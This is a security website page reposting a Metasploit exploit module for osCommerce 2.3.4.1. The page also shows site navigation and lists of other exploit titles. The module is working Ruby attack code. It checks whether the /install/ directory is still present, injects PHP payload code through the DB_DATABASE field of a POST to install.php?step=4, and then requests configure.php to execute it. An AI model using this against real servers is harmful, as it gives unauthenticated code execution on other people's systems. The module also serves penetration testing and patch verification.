首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
osCommerce Installer Unauthenticated Code Execution
来源:metasploit.com 作者:Teixeira 发布时间:2018-05-03  
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'osCommerce Installer Unauthenticated Code Execution',
      'Description'    => %q{
        If the /install/ directory was not removed, it is possible for an unauthenticated
        attacker to run the "install_4.php" script, which will create the configuration
        file for the installation. This allows the attacker to inject PHP code into the
        configuration file and execute it.
      },
      'Author'         => [
        'Simon Scannell',      # Original exploit author
        'Daniel Teixeira'      # MSF module author
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['EDB', '44374'],
        ],
        'Payload'      =>
        {
          'BadChars' => "\x00",
        },
       'Privileged' => false,
       'Platform'   => ['php'],
       'Arch'       => ARCH_PHP,
       'Targets' =>
          [
            [ 'osCommerce 2.3.4.1', { } ],
          ],
      'DisclosureDate' => 'Apr 30 2018',
      'DefaultTarget' => 0))
     register_options(
      [
        OptString.new('URI', [true, 'The path to the install directory', '/catalog/install/'])
      ])
  end

  def check
    res = send_request_cgi({
      'uri'    => normalize_uri(datastore['URI'], 'install.php'),
      'method' => 'GET'
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.code == 200 && res.body.include?('osCommerce Website')
      return CheckCode::Safe
    end

    res = send_request_cgi({
      'uri'    => normalize_uri(datastore['URI'], 'index.php'),
      'method' => 'GET'
    })

    if res.body.include?('configure.php') && res.body.include?('The following files need to have their file permissions set to world-writeable (chmod 777):')
      vprint_error 'configure.php is not writable'
      return CheckCode::Safe
    end

    CheckCode::Appears
  end

  def trigger
    send_request_cgi({
      'uri'     => normalize_uri(datastore['URI'], 'includes/configure.php'),
      'method'  => 'GET'
    })
  end

  def exploit
    unless check == CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    data = {
      'DIR_FS_DOCUMENT_ROOT' => './',
      'DB_DATABASE' => "');#{payload.encoded}/*"
    }

    res = send_request_cgi({
      'uri'       => normalize_uri(datastore['URI'], 'install.php?step=4'),
      'method'    => 'POST',
      'vars_post' => data
    })
    trigger
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Drupal Drupalgeddon 2 Forms AP
·Oracle Weblogic Server 10.3.6.
·Allok AVI to DVD SVCD VCD Conv
·Drupal < 7.58 - 'Drupalgeddon3
·GitList 0.6 - Unauthenticated
·Navicat < 12.0.27 - Oracle Con
·SickRage < v2018.03.09 - Clear
·Nagios XI 5.2.6 < 5.2.9 / 5.3
·Chrome V8 JIT - Arrow Function
·Apple macOS/iOS - ReportCrash
·Chrome V8 JIT - 'AwaitedPromis
·LibreOffice/Open Office - '.od
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved